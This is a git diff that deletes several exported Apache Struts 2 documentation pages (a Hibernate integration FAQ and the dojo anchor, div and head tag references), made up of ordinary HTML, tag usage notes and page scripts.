-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Does the framework integrate with Hibernate</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="does-the-framework-integrate-with-hibernate.html">Does the framework integrate with Hibernate</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Does the framework integrate with Hibernate</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13851">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13851">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13851">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13851">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13851">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13851">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">About Hibernate</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><a shape="rect" class="external-link" href="http://hibernate.org/" rel="nofollow">Hibernate</a> is a object/relational persistence and query service. Hibernate lets you develop persistent classes following object-oriented idio [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Hibernate works well with most web application frameworks, including Struts 2. If you setup Hibernate in <a shape="rect" class="external-link" href="http://www.hibernate.org/5.html" rel="nofollow">the usual way</a>, it should work well with the framework.</p>
-
-<h2 id="DoestheframeworkintegratewithHibernate-AdditionalHibernateResources">Additional Hibernate Resources</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.hibernate.org/51.html" rel="nofollow">Hibernate Aware Action</a></li><li><a shape="rect" class="external-link" href="http://www.hibernate.org/159.html#A9" rel="nofollow">Hibernate AdminApp (Hibernate2, WebWork, Tomcat, MySQL)</a></li><li><a shape="rect" href="non-ioc-version-of-opensessioninviewinterceptor.html">Non-IoC version of OpenSessionInViewInterceptor</a></li><li><a shape="rect" class="external-link" href="http://www. [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dojo-anchor.html b/content/docs/dojo-anchor.html
deleted file mode 100644
index 6886435..0000000
--- a/content/docs/dojo-anchor.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>dojo anchor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="dojo-anchor.html">dojo anchor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">dojo anchor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66791">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66791">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66791">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66791">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66791">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66791">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><parameter ac:name=""><a shape="rect" href="ajax-common-header.html">ajax common header</a></parameter><parameter ac:name="nopanel">true</parameter>
-
-<h2 id="dojoanchor-Description">Description</h2>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body>
-
-<p>There's a bug in  IE6/IE7 which makes impossible to use the target's attribute with a parent Div, because such Div's content's are overwritten with the tag's <em>loadingText</em>. Resulting in an "undefined" message in the content's, instead of the result of the request.</p>
-
-<p>One possible alternative is to set <em>showLoadingText="false"</em> and set the indicator attribute to an element showing the desired loading text or image (outside the div).</p>
-
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;img id="loadingImage" src="images/loadingAnimation.gif" style="display:none"/&gt;
-&lt;s:div id="parentDiv"&gt;
-    &lt;s:form action="actionName"&gt;
-        &lt;sx:a targets="parentDiv" showLoadingText="false" indicator="loadingImage"/&gt;
-    &lt;/s:form&gt;
-&lt;/s:div&gt;
-</plain-text-body>
-
-<h2 id="dojoanchor-Parameters">Parameters</h2>
-<plain-text-body>{snippet:id=tagattributes|javadoc=false|url=struts2-tags/ajax/a.html}</plain-text-body>
-
-<h2 id="dojoanchor-Examples">Examples</h2>
-<p>Update target content with html returned from an action:</p>
-<plain-text-body>{snippet:id=example1|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body>
-<p>Submit form(anchor inside the form):</p>
-<plain-text-body>{snippet:id=example2|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body>
-<p>Submit form(anchor outside the form):</p>
-<plain-text-body>{snippet:id=example3|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body>
-<p>Using beforeNotifyTopics:</p>
-<plain-text-body>{snippet:id=example4|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body>
-<p>Using afterNotifyTopics and highlights target:</p>
-<plain-text-body>{snippet:id=example5|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body>
-<p>Using errorNotifyTopics and indicator:</p>
-<plain-text-body>{snippet:id=example6|lang=xml|javadoc=true|url=struts2/plugins/dojo/src/main/java/org/apache/struts2/dojo/components/Anchor.java}</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dojo-div.html b/content/docs/dojo-div.html
deleted file mode 100644
index cc84cef..0000000
--- a/content/docs/dojo-div.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>dojo div</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="dojo-div.html">dojo div</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">dojo div</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66929">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66929">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66929">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66929">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66929">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66929">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>To use this tag:</p>
-<ul><li>Add: <em>&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;</em> to your page.</li><li>The <a shape="rect" href="dojo-head.html">head</a> tag must be included on the page, which can be configured for performance or debugging purposes.</li><li>If the parseContent parameter for the <a shape="rect" href="dojo-head.html">head</a> tag is false (it is false by default), then the <strong>id</strong> tag is required.</li></ul>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Additional Examples</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For more examples see <a shape="rect" href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a></p></div></div>
-
-<h2 id="dojodiv-Description">Description</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<h2 id="dojodiv-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="dojodiv-Examples">Examples</h2>
-<p>Simple div that loads its content once:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>div that reloads its content every 2 seconds, and shows an indicator while reloading:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<p>div that uses topics to control the timer, highlights its content in red after reload, and submits a form:</p>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dojo-head.html b/content/docs/dojo-head.html
deleted file mode 100644
index 91accf6..0000000
--- a/content/docs/dojo-head.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>dojo head</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="dojo-head.html">dojo head</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">dojo head</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66757">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=66757">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66757">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=66757">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66757">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=66757">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="dojohead-Description">Description</h2>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div></div>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you are planning to nest tags from the Dojo plugin, make sure you set parseContent="false", otherwise each request made by the inner tags will be performed twice.</p></div></div>
-
-<h2 id="dojohead-Parameters">Parameters</h2>
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="dojohead-Examples">Examples</h2>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dojo-submit.html b/content/docs/dojo-submit.html
deleted file mode 100644
index d4f973d..0000000
--- a/content/docs/dojo-submit.html
+++ /dev/null
@@ -1,177 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
